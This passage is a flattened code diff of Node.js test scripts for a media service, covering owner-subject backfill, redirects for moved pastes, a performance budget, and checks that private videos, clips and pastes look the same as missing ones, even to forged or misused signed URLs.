require('../server/objects/owner-subject-job');++ const config = require('../server/config');++++ const obj = async (o) => await model.createObject({ app_id: 'live', owner_app: 'live', kind: 'file', lifecycle_status: 'ready', ...o });++ const row = async (id) => await db.get('SELECT * FROM media_objects WHERE id = ?', [id]);++ const subjectOf = (uid) => { const s = ids.newId('user', 1700000000000 + uid); net.map.set(`live:${uid}`, s); return s; };++++ (async () => {++ await new Promise((r) => network.listen(0, '127.0.0.1', r));++ const NET = `http://127.0.0.1:${network.address().port}`;++ process.env.OV_NETWORK_INTERNAL_URL = NET;++ config.network.internalUrl = NET;++++ // ── Fixture ──++ const s12 = subjectOf(12), s13 = subjectOf(13);++ const preset = ids.newId('user');++ const o = {++ a: await obj({ owner_user_id: 12 }),++ b: await obj({ owner_user_id: 12, kind: 'thumbnail' }),++ c: await obj({ owner_user_id: 13, kind: 'screenshot' }),++ presetDifferent: await obj({ owner_user_id: 12, owner_subject: preset }), // never overwritten, even though Network says s12++ unknown: await obj({ owner_user_id: 99 }), // Network has no subject for live user 99++ noOwner: await obj({ app_id: 'community', owner_app: 'community' }),++ games: await obj({ app_id: 'games', owner_app: 'games', owner_user_id: 12 }), // no source system for games ids++ };++ // 520 more owners: more than one resolve-batch call (500 ids at most per call).++ const many = [];++ for (let uid = 1000; uid < 1520; uid++) { subjectOf(uid); many.push(await obj({ owner_user_id: uid, kind: 'clip' })); }++ const TO_FILL = 3 + many.length;++++ // (The one-off backfill script ran in production on SQLite and is retired: the reconcile job below fills what is left.)++ // A token Network refuses at resolve-batch: the key answers instead.++ const resolver = ownerSubject.createResolver({ networkUrl: NET });++ net.grant = true;++ let got = await resolver.resolve('live', ['12', '99', 12]);++ assert.deepStrictEqual([...got.entries()], [['12', s12], ['99', null]]);++ assert.strictEqual(resolver.state.via, 'service-token');++ const tokenOnly = ownerSubject.createResolver({ networkUrl: NET, internalKey: '' });++ net.grant = false;++ await assert.rejects(tokenOnly.resolve('live', ['12']), /no service token/);++ net.grant = true;++ console.log('✅ Network auth: service token first, INTERNAL_API_KEY when Network has not granted it; failures are errors');++++ // ── New objects: X-OV-Subject at creation ──++ const express = require('express');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/objects', require('../server/objects/routes'));++ const server = http.createServer(app);++ await new Promise((res) => server.listen(0, '127.0.0.1', res));++ const base = `http://127.0.0.1:${server.address().port}`;++ const post = (headers, body) => fetch(`${base}/api/v2/live/objects`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json', ...headers }, body: JSON.stringify(body) }).then(async x => ({ status: x.status, body: await x.json() }));++ let p = await post({ 'x-ov-subject': `user:${s13}` }, { kind: 'file', size_bytes: 3, user_id: 13 });++ assert.strictEqual(p.status, 201, JSON.stringify(p.body));++ assert.strictEqual((await row(p.body.id)).owner_subject, s13, 'X-OV-Subject is stored at creation');++ p = await post({}, { kind: 'file', size_bytes: 3, user_id: 12 });++ const userOnly = p.body.id;++ assert.deepStrictEqual([(await row(userOnly)).owner_subject, (await row(userOnly)).owner_user_id], [null, 12]);++++ // ── New objects: the reconcile job fills the rest (projections included) ──++ const clipId = (await db.createClip({ app_id: 'live', user_id: 13, channel_user_id: 12, title: 'c', file_path: path.join(env.CLIPS_PATH, 'c.webm'), start_time: 0, end_time: 5 })).lastInsertRowid;++ const clipObj = (await db.get('SELECT object_id FROM clips WHERE id = ?', [clipId])).object_id;++ assert.ok(clipObj && (await row(clipObj)).owner_subject === null && (await row(clipObj)).owner_user_id === 13);++ const other = ids.newId('user');++ await db.run('UPDATE media_objects SET owner_subject = ? WHERE id = ?', [other, o.b]); // set by someone else: the job keeps it++ const late = await obj({ owner_user_id: 13 }); // made after the others, no subject yet++ assert.strictEqual((await row(late)).owner_subject, null);++ net.calls.length = 0;++ const jr = await job.runOnce();++ assert.ok(jr && jr.filled >= 3, JSON.stringify(jr));++ assert.strictEqual(jr.via, 'service-token');++ assert.deepStrictEqual([(await row(userOnly)).owner_subject, (await row(clipObj)).owner_subject, (await row(late)).owner_subject], [s12, s13, s13]);++ assert.strictEqual((await row(o.a)).owner_subject, s12, 'the job fills every row it can resolve');++ assert.strictEqual((await row(o.unknown)).owner_subject, null);++ assert.strictEqual((await row(o.b)).owner_subject, other, 'never over a non-null value');++ // Network learns live user 99 later: the next run fills it.++ const s99 = subjectOf(99);++ assert.strictEqual((await job.runOnce()).filled, 1);++ assert.strictEqual((await row(o.unknown)).owner_subject, s99);++ // Nothing left to fill: a run asks Network nothing (games 12 is the only pending owner and has no source system).++ net.calls.length = 0;++ assert.deepStrictEqual(await job.runOnce(), { owners: 1, filled: 0, skipped: 0, unresolvable: 0, unsupported: 1, via: null });++ assert.strictEqual(net.calls.length, 0);++ // Network down: the run fails quietly and the next one retries.++ net.down = true;++ const quiet = console.warn; console.warn = () => {};++ await obj({ owner_user_id: 12 });++ assert.strictEqual(await job.runOnce(), null);++ console.warn = quiet;++ assert.match(job.status().last_error, /503/);++ net.down = false;++ assert.strictEqual((await job.runOnce()).filled, 1);++++ // A re-projection keeps the subject; a re-projection to another owner drops it until the job resolves the new one.++ await model.sync('clip', clipId);++ assert.strictEqual((await row(clipObj)).owner_subject, s13);++ await db.run('UPDATE clips SET user_id = 12 WHERE id = ?', [clipId]);++ await model.sync('clip', clipId);++ assert.deepStrictEqual([(await row(clipObj)).owner_user_id, (await row(clipObj)).owner_subject], [12, null]);++ await job.runOnce();++ assert.strictEqual((await row(clipObj)).owner_subject, s12);++ // The v2 object's public shape carries it (what Live's lineage resolver reads: owner.subject).++ assert.strictEqual((await model.objectPublic(await row(clipObj))).owner.subject, s12);++++ // MEDIA_OWNER_SUBJECT_SYNC=0 keeps the job off.++ config.ownerSubject.enabled = false;++ const said = console.log; console.log = () => {};++ assert.strictEqual(job.start(), false);++ console.log = said;++ config.ownerSubject.enabled = true;++ console.log('✅ new objects: X-OV-Subject stored at creation; the reconcile job fills the rest, re-projection keeps or drops it');++++ server.close(); network.close();++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('owner-subject: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -8,49 +8,50 @@ const path = require('path');const http = require('http');const express = require('express');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-moved-'));--process.env.DB_PATH = path.join(tmp, 'media.db');--const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--db.upsertApp({ app_id: 'live', api_key: 'live-key' });--const shot = path.join(tmp, 'shot.png');--fs.writeFileSync(shot, Buffer.from('\x89PNG\r\n\x1a\n'));--db.getDb().prepare("INSERT INTO pastes (app_id, slug, type, title, content, visibility, screenshot_path) VALUES ('live', 'text-1', 'paste', 't', 'hello', 'public', NULL), ('live', 'shot-1', 'screenshot', 's', '', 'public', ?)").run(shot);++(async () => {++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-moved-'));++ process.env.DB_PATH = path.join(tmp, 'media.db');++ const db = require('../server/db/database');++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const shot = path.join(tmp, 'shot.png');++ fs.writeFileSync(shot, Buffer.from('\x89PNG\r\n\x1a\n'));++ await db.getDb().prepare("INSERT INTO pastes (app_id, slug, type, title, content, visibility, screenshot_path) VALUES ('live', 'text-1', 'paste', 't', 'hello', 'public', NULL), ('live', 'shot-1', 'screenshot', 's', '', 'public', ?) RETURNING id").run(shot);--const app = express();--app.use(express.json());--app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));--app.use(require('../server/public/routes'));--const server = http.createServer(app);++ const app = express();++ app.use(express.json());++ app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));++ app.use(require('../server/public/routes'));++ const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const get = (p) => fetch(base + p, { redirect: 'manual' });-- const post = () => fetch(`${base}/api/v1/live/pastes`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: JSON.stringify({ content: 'x' }) });++ (async () => {++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${server.address().port}`;++ const get = (p) => fetch(base + p, { redirect: 'manual' });++ const post = () => fetch(`${base}/api/v1/live/pastes`, { method: 'POST', headers: { authorization: 'Bearer live-key', 'content-type': 'application/json' }, body: JSON.stringify({ content: 'x' }) });-- // Before the switch: business as usual.-- assert.strictEqual((await get('/p/text-1')).status, 200);-- assert.strictEqual(await (await get('/p/text-1/raw')).text(), 'hello');-- assert.strictEqual((await post()).status, 201);++ // Before the switch: business as usual.++ assert.strictEqual((await get('/p/text-1')).status, 200);++ assert.strictEqual(await (await get('/p/text-1/raw')).text(), 'hello');++ assert.strictEqual((await post()).status, 201);-- process.env.PASTES_MOVED_TO = 'https://openvibe.community/';-- process.env.PASTES_FROZEN_APPS = 'live';-- let r = await post();-- assert.strictEqual(r.status, 410); assert.strictEqual((await r.json()).code, 'pastes.moved');-- r = await fetch(`${base}/api/v1/live/pastes/text-1`, { headers: { authorization: 'Bearer live-key' } });-- assert.strictEqual(r.status, 200, 'reads still work');-- r = await get('/p/text-1');-- assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1');-- r = await get('/p/text-1/raw');-- assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1/raw');-- r = await get('/p/shot-1/raw');-- assert.strictEqual(r.status, 302); assert.strictEqual(r.headers.get('location'), '/p/shot-1/screenshot', 'image pastes keep their local bytes');-- r = await get('/p/shot-1/screenshot');-- assert.strictEqual(r.status, 200, 'screenshot bytes are still served here');-- assert.ok(db.getPasteBySlug('text-1'), 'no read deletes anything after the switch');++ process.env.PASTES_MOVED_TO = 'https://openvibe.community/';++ process.env.PASTES_FROZEN_APPS = 'live';++ let r = await post();++ assert.strictEqual(r.status, 410); assert.strictEqual((await r.json()).code, 'pastes.moved');++ r = await fetch(`${base}/api/v1/live/pastes/text-1`, { headers: { authorization: 'Bearer live-key' } });++ assert.strictEqual(r.status, 200, 'reads still work');++ r = await get('/p/text-1');++ assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1');++ r = await get('/p/text-1/raw');++ assert.strictEqual(r.status, 301); assert.strictEqual(r.headers.get('location'), 'https://openvibe.community/p/text-1/raw');++ r = await get('/p/shot-1/raw');++ assert.strictEqual(r.status, 302); assert.strictEqual(r.headers.get('location'), '/p/shot-1/screenshot', 'image pastes keep their local bytes');++ r = await get('/p/shot-1/screenshot');++ assert.strictEqual(r.status, 200, 'screenshot bytes are still served here');++ assert.ok(await db.getPasteBySlug('text-1'), 'no read deletes anything after the switch');-- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('pastes moved: all checks passed');++ server.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('pastes moved: all checks passed');++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -11,46 +11,48 @@ const path = require('path');const { spawn } = require('child_process');const { measure, check, format } = require('openvibe-shared/perf-budget');--const BUDGETS = {-- htmlRawKB: 25, // measured 19.8 (fresh database)-- htmlBrotliKB: 6.5, // 5.0-- jsFiles: 4, // 3-- // 2026-09-27: theme-loader (44.3 KB, 8.3 brotli) now comes from Media's own /shared (D42) instead of-- // openvibe.network, so it is counted here; the page itself did not grow.-- jsRawKB: 215, // 197.7-- jsBrotliKB: 50, // 45.6-- cssFiles: 2, // 1 (Font Awesome, cross-origin)-- cssRawKB: 10, // 0 same-origin-- externalFiles: 3, // 2--};++(async () => {++ const BUDGETS = {++ htmlRawKB: 25, // measured 19.8 (fresh database)++ htmlBrotliKB: 6.5, // 5.0++ jsFiles: 4, // 3++ // 2026-09-27: theme-loader (44.3 KB, 8.3 brotli) now comes from Media's own /shared (D42) instead of++ // openvibe.network, so it is counted here; the page itself did not grow.++ jsRawKB: 215, // 197.7++ jsBrotliKB: 50, // 45.6++ cssFiles: 2, // 1 (Font Awesome, cross-origin)++ cssRawKB: 10, // 0 same-origin++ externalFiles: 3, // 2++ };--const freePort = () => new Promise((resolve) => { const s = net.createServer(); s.listen(0, '127.0.0.1', () => { const { port } = s.address(); s.close(() => resolve(port)); }); });++ const freePort = () => new Promise((resolve) => { const s = net.createServer(); s.listen(0, '127.0.0.1', () => { const { port } = s.address(); s.close(() => resolve(port)); }); });--(async () => {-- const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-budget-'));-- const port = await freePort();-- const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], {-- cwd: path.join(__dirname, '..'),-- env: { ...process.env, PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test', DB_PATH: path.join(dir, 'media.db'), VOD_PATH: path.join(dir, 'vods'), CLIPS_PATH: path.join(dir, 'clips'), FILES_PATH: path.join(dir, 'files'), THUMBNAILS_PATH: path.join(dir, 'thumbnails'), PASTES_PATH: path.join(dir, 'pastes'), OBJECTS_PATH: path.join(dir, 'objects'), MEDIA_JOBS_ENABLED: 'off' },-- stdio: ['ignore', 'ignore', 'pipe'],-- });-- let stderr = '';-- child.stderr.on('data', (d) => { stderr = (stderr + d).slice(-2000); });-- const base = `http://127.0.0.1:${port}`;-- try {-- let up = false;-- for (let i = 0; i < 150 && !up; i++) {-- up = await fetch(`${base}/healthz`).then((r) => r.ok).catch(() => false);-- if (!up) await new Promise((r) => setTimeout(r, 100));++ (async () => {++ const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-budget-'));++ const port = await freePort();++ const child = spawn(process.execPath, [path.join(__dirname, '..', 'server', 'index.js')], {++ cwd: path.join(__dirname, '..'),++ env: { ...process.env, PORT: String(port), HOST: '127.0.0.1', NODE_ENV: 'test', DB_PATH: path.join(dir, 'media.db'), MEDIA_PGLITE_DIR: path.join(dir, 'pglite'), DATABASE_URL: '', DATABASE_DIRECT_URL: '', VALKEY_URL: '', VOD_PATH: path.join(dir, 'vods'), CLIPS_PATH: path.join(dir, 'clips'), FILES_PATH: path.join(dir, 'files'), THUMBNAILS_PATH: path.join(dir, 'thumbnails'), PASTES_PATH: path.join(dir, 'pastes'), OBJECTS_PATH: path.join(dir, 'objects'), MEDIA_JOBS_ENABLED: 'off' },++ stdio: ['ignore', 'ignore', 'pipe'],++ });++ let stderr = '';++ child.stderr.on('data', (d) => { stderr = (stderr + d).slice(-2000); });++ const base = `http://127.0.0.1:${port}`;++ try {++ let up = false;++ for (let i = 0; i < 150 && !up; i++) {++ up = await fetch(`${base}/healthz`).then((r) => r.ok).catch(() => false);++ if (!up) await new Promise((r) => setTimeout(r, 100));++ }++ assert.ok(up, `the server did not start:\n${stderr}`);++ const m = await measure({ base });++ const over = check(m, BUDGETS);++ assert.deepStrictEqual(over, [], format(m, over));++ console.log(format(m));++ console.log('perf budget: all checks passed');++ } finally {++ child.kill();++ fs.rmSync(dir, { recursive: true, force: true });}-- assert.ok(up, `the server did not start:\n${stderr}`);-- const m = await measure({ base });-- const over = check(m, BUDGETS);-- assert.deepStrictEqual(over, [], format(m, over));-- console.log(format(m));-- console.log('perf budget: all checks passed');-- } finally {-- child.kill();-- fs.rmSync(dir, { recursive: true, force: true });-- }--})().catch((err) => { console.error(err); process.exitCode = 1; });++ })().catch((err) => { console.error(err); process.exitCode = 1; });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,186 +10,187 @@ const os = require('os');const path = require('path');const http = require('http');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-private404-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.OBJECTS_PATH = dir('objects');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OV_NETWORK_URL = 'https://openvibe.network';--process.env.MEDIA_PUBLIC_URL = 'https://media.test';--process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';--delete process.env.PASTES_MOVED_TO;----const db = require('../server/db/database');--require('../server/views/service').ensureSchema();--const model = require('../server/objects/model');--const signing = require('../server/objects/signing');--const express = require('express');----db.upsertApp({ app_id: 'live', api_key: 'live-key' });--const raw = db.getDb();--const vodFile = (n) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };--const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };----const insVod = raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, clips_only, thumbnail_url)-- VALUES (?, 'live', ?, ?, ?, ?, ?, 10, ?, ?)`);--insVod.run(1, 5, 'Public', vodFile('vod-1.webm'), 1, 'public', 0, '/t/vod-1-111.jpg');--insVod.run(2, 5, 'Secret title', vodFile('vod-2-secret.webm'), 0, 'private', 0, '/t/vod-2-222.jpg');--insVod.run(3, 5, 'Legacy hidden', vodFile('vod-3.webm'), 0, null, 0, null);--insVod.run(4, 5, 'Clips only', vodFile('vod-4.webm'), 0, 'unlisted', 1, null);--insVod.run(6, 5, 'Unlisted', vodFile('vod-6.webm'), 0, 'unlisted', 0, null);--const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status)-- VALUES (?, 'live', 1, ?, ?, ?, ?, ?, 'ready')`);--insClip.run(10, 5, 'Public clip', clipFile('clip-10.webm'), 1, 'public');--insClip.run(11, 5, 'Private clip', clipFile('clip-11-secret.webm'), 0, 'private');--const insPaste = raw.prepare(`INSERT INTO pastes (slug, app_id, user_id, title, type, content, language, visibility, screenshot_path)-- VALUES (?, 'live', 5, 'P', ?, ?, 'text', ?, ?)`);--insPaste.run('pub-text', 'paste', 'hello', 'public', null);--insPaste.run('priv-text', 'paste', 'secret', 'private', null);--insPaste.run('priv-shot', 'screenshot', 'caption', 'private', '/nonexistent.png');----const mkObj = (visibility, lifecycle_status) => model.createObject({-- app_id: 'live', namespace: 'live', kind: 'file', owner_subject: null, owner_app: 'live', owner_user_id: 5,-- visibility, lifecycle_status, mime_type: 'text/plain', size_bytes: 5, metadata: {},--});--const privDeleted = mkObj('private', 'deleted');--const privUploading = mkObj('private', 'uploading');--const pubDeleted = mkObj('public', 'deleted');----const app = express();--app.use(express.json());--app.use('/api/v1/:app/vods', require('../server/vod/routes'));--app.use('/api/v1/:app/clips', require('../server/vod/clips-routes'));--app.use('/api/v1/:app/pastes', require('../server/pastes/routes'));--app.use('/o', require('../server/objects/routes').publicRouter);--app.use('/', require('../server/public/routes'));--const server = http.createServer(app);--(async () => {-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${server.address().port}`;-- const get = async (p, headers = {}, method = 'GET', body) => {-- const h = { ...headers };-- let payload;-- if (body !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(body); }-- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });-- const text = await res.text();-- return { status: res.status, text, location: res.headers.get('location') };-- };-- const same = async (a, b, msg) => {-- const [x, y] = [await get(...a), await get(...b)];-- assert.deepStrictEqual([x.status, x.text, x.location], [y.status, y.text, y.location], msg);-- return x;-- };-- const nav = { accept: 'text/html,*/*;q=0.8', 'sec-fetch-dest': 'document' };-- const video = { accept: 'video/webm,*/*;q=0.5', 'sec-fetch-dest': 'video' };-- const asUser = (id) => ({ authorization: 'Bearer live-key', 'x-ov-user-id': String(id) });---- // ── /v and /c: private = missing, for bytes and for the watch page ──-- let r = await same(['/v/2', video], ['/v/999', video], 'private VOD bytes look missing');-- assert.strictEqual(r.status, 404);-- assert.ok(!r.text.includes('private'), 'the answer never says "private"');-- await same(['/v/2', nav], ['/v/999', nav], 'private VOD watch page looks missing');-- await same(['/v/3', video], ['/v/999', video], 'legacy row (no visibility, is_public 0) is private');-- await same(['/v/4', video], ['/v/999', video], 'clips-only source recordings are not served');-- await same(['/v/vod-2-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form: private file names are not confirmed');-- await same(['/v/clip-11-secret.webm', video], ['/v/no-such-file.webm', video], 'basename form reaching a private clip');-- await same(['/c/11', video], ['/c/999', video], 'private clip looks missing');-- await same(['/c/11', nav], ['/c/999', nav], 'private clip watch page looks missing');-- await same(['/v/2', { ...video, ...asUser(77) }], ['/v/999', { ...video, ...asUser(77) }], 'another user of the app is nobody special');---- assert.strictEqual((await get('/v/1', video)).status, 200, 'public VOD serves');-- assert.strictEqual((await get('/v/6', video)).status, 200, 'unlisted VOD serves by direct link');-- assert.strictEqual((await get('/c/10', video)).status, 200, 'public clip serves');-- assert.strictEqual((await get('/v/2', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private VOD');-- assert.strictEqual((await get('/v/2', { ...video, authorization: 'Bearer live-key' })).status, 200, 'the owning app gets it');-- assert.strictEqual((await get('/c/11', { ...video, ...asUser(5) })).status, 200, 'the owner gets their private clip');-- console.log('✅ /v /c: private looks missing');---- // ── Signed playback URLs (a reader with no key, e.g. OpenVibe.AI transcribing): only the owning app signs ──-- const signedVia = async (p, headers) => { const x = await get(p, headers); return x.status === 200 ? JSON.parse(x.text) : { status: x.status }; };-- const sv = await signedVia('/api/v1/live/vods/2/signed-url?ttl=600', { authorization: 'Bearer live-key' });-- assert.ok(/^https:\/\/media\.test\/v\/2\?exp=\d+&sig=/.test(sv.url), sv.url);-- assert.strictEqual((await get(sv.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private VOD');-- const sc = await signedVia('/api/v1/live/clips/11/signed-url', { authorization: 'Bearer live-key' });-- assert.strictEqual((await get(sc.url.replace('https://media.test', ''), video)).status, 200, 'a signed URL reads the private clip');-- await same([sv.url.replace('https://media.test', '').replace('/v/2?', '/v/3?'), video], ['/v/999', video], 'a VOD signature is not valid for another VOD');-- await same([sc.url.replace('https://media.test', '').replace('/c/11?', '/v/11?'), video], ['/v/999', video], 'a clip signature is not a VOD signature');-- await same([sv.url.replace('https://media.test', '').replace(/sig=[^&]+/, 'sig=AAAA'), video], ['/v/999', video], 'a forged signature is nobody');-- assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', asUser(5))).status, 403, 'a call acting for a user does not sign');-- assert.strictEqual((await signedVia('/api/v1/live/vods/2/signed-url', {})).status, 401, 'no key, no URL');-- const late = signing.signedMediaUrl('vod', 2, 10 * 24 * 3600);-- assert.ok(Date.parse(late.expires_at) - Date.now() <= 6 * 3600 * 1000 + 5000, 'at most 6 hours');-- console.log('✅ /v /c: signed URLs for the owning app only');---- // ── Transcript companion ──-- r = await same(['/v/2/transcript.json'], ['/v/999/transcript.json'], 'private VOD transcript looks missing');-- assert.strictEqual(r.status, 404);-- assert.ok(!r.text.includes('Secret title'));-- await same(['/v/3/transcript.json'], ['/v/999/transcript.json'], 'legacy private transcript looks missing');-- await same(['/v/4/transcript.json'], ['/v/999/transcript.json'], 'clips-only transcript looks missing');-- console.log('✅ /v/:id/transcript.json: private looks missing');---- // ── Legacy thumbnail names never hand out a private row's current thumbnail URL ──-- r = await get('/api/thumbnails/vod-1-0.jpg');-- assert.deepStrictEqual([r.status, r.location], [302, '/t/vod-1-111.jpg'], 'public rows still redirect to the current thumbnail');-- await same(['/api/thumbnails/vod-2-0.jpg'], ['/api/thumbnails/vod-999-0.jpg'], 'private row: same answer as a missing one');-- r = await get('/api/thumbnails/vod-2-0.jpg');-- assert.strictEqual(r.location, null, 'no redirect for a private row');-- console.log('✅ /api/thumbnails: no redirect for private rows');---- // ── /o: a private object is missing without a signature, whatever its lifecycle ──-- await same([`/o/${privDeleted}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'deleted private object: 404, not 410');-- await same([`/o/${privUploading}`], ['/o/med_01JAB2C3D4E5F6G7H8J9K0MNPQ'], 'unfinished private object: 404');-- assert.strictEqual((await get(`/o/${pubDeleted}`)).status, 410, 'a deleted public object may say Gone');-- const s = signing.signedDownloadUrl(privDeleted, 60);-- assert.strictEqual((await get(s.url.replace('https://media.test', ''))).status, 410, 'with a valid signature the lifecycle answer is fine');-- console.log('✅ /o: private objects look missing before any lifecycle answer');---- // ── Paste raw: no redirect or answer that singles out a private paste ──-- await same(['/p/priv-text/raw'], ['/p/no-such/raw'], 'private text paste looks missing');-- await same(['/p/priv-shot/raw'], ['/p/no-such/raw'], 'private screenshot paste: no redirect to its screenshot');-- assert.strictEqual((await get('/p/pub-text/raw')).text, 'hello', 'public paste raw still serves');-- process.env.PASTES_MOVED_TO = 'https://community.test';-- r = await get('/p/no-such/raw');-- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/raw'], 'moved: every slug goes to Community');-- r = await get('/p/priv-shot/raw');-- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/raw'], 'moved: a private screenshot is not bounced to /screenshot');-- // /p/:slug/screenshot: a slug Media doesn't hold (pastes made in Community since the move, whose-- // screenshots hero moments linked here) goes to Community; a private one answers the same way.-- r = await get('/p/no-such/screenshot');-- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/no-such/screenshot'], 'moved: an unknown screenshot slug goes to Community');-- r = await get('/p/priv-shot/screenshot');-- assert.deepStrictEqual([r.status, r.location], [301, 'https://community.test/p/priv-shot/screenshot'], 'moved: a private screenshot looks like an unknown one');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-private404-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OV_NETWORK_URL = 'https://openvibe.network';++ process.env.MEDIA_PUBLIC_URL = 'https://media.test';++ process.env.MEDIA_SIGNING_SECRET = 'test-signing-secret';delete process.env.PASTES_MOVED_TO;-- console.log('✅ /p/:slug/raw: private looks missing');---- // ── v1 detail routes when the app acts for a user ──-- await same(['/api/v1/live/vods/2', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: private VOD looks missing');-- await same(['/api/v1/live/vods/3', asUser(77)], ['/api/v1/live/vods/999', asUser(77)], 'acting non-owner: legacy private VOD looks missing');-- await same(['/api/v1/live/clips/11', asUser(77)], ['/api/v1/live/clips/999', asUser(77)], 'acting non-owner: private clip looks missing');-- await same(['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 2, start_s: 0, end_s: 5 }],-- ['/api/v1/live/clips', asUser(77), 'POST', { vod_id: 999, start_s: 0, end_s: 5 }], 'acting non-owner cannot probe a private VOD by clipping it');-- r = await get('/api/v1/live/vods/2', asUser(5));-- assert.strictEqual(r.status, 200, 'the owner, acting, sees their VOD');-- assert.strictEqual(JSON.parse(r.text).title, 'Secret title');-- assert.strictEqual((await get('/api/v1/live/vods/2', { authorization: 'Bearer live-key' })).status, 200, 'the app key alone sees the namespace');-- assert.strictEqual((await get('/api/v1/live/clips/11', asUser(5))).status, 200);-- assert.strictEqual((await get('/api/v1/live/vods/6', asUser(77))).status, 200, 'unlisted stays reachable by id');---- const views = () => raw.prepare("SELECT views FROM pastes WHERE slug = 'priv-text'").get().views;-- const before = views();-- await same(['/api/v1/live/pastes/priv-text', asUser(77)], ['/api/v1/live/pastes/no-such-slug', asUser(77)], 'acting non-owner: private paste looks missing');-- assert.strictEqual(views(), before, 'a refused read counts no view');-- assert.strictEqual((await get('/api/v1/live/pastes/priv-text', asUser(5))).status, 200);-- console.log('✅ v1 detail: acting non-owners get the missing answer');---- server.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('private-not-found: all checks passed');-- process.exit(0);--})().catch((err) => { console.error(err); server.close(); process.exit(1); });++++ const db = require('../server/db/database');++ const model = require('../server/objects/model');++ const signing = require('../server/objects/signing');++ const express = require('express');++++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const raw = db.getDb();++ const vodFile = (n) => { const p = path.join(process.env.VOD_PATH, n); fs.writeFileSync(p, Buffer.alloc(64, 1)); return p; };++ const clipFile = (n) => { const p = path.join(process.env.CLIPS_PATH, n); fs.writeFileSync(p, Buffer.alloc(32, 2)); return p; };++++ const insVod = raw.prepare(`INSERT INTO vods (id, app_id, user_id, title, file_path, is_public, visibility, duration_seconds, clips_only, thumbnail_url) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', ?, ?, ?, ?, ?, 10, ?, ?) RETURNING id`);++ await insVod.run(1, 5, 'Public', vodFile('vod-1.webm'), 1, 'public', 0, '/t/vod-1-111.jpg');++ await insVod.run(2, 5, 'Secret title', vodFile('vod-2-secret.webm'), 0, 'private', 0, '/t/vod-2-222.jpg');++ await insVod.run(3, 5, 'Legacy hidden', vodFile('vod-3.webm'), 0, null, 0, null);++ await insVod.run(4, 5, 'Clips only', vodFile('vod-4.webm'), 0, 'unlisted', 1, null);++ await insVod.run(6, 5, 'Unlisted', vodFile('vod-6.webm'), 0, 'unlisted', 0, null);++ const insClip = raw.prepare(`INSERT INTO clips (id, app_id, vod_id, user_id, title, file_path, is_public, visibility, status) OVERRIDING SYSTEM VALUE++ VALUES (?, 'live', 1, ?, ?, ?, ?, 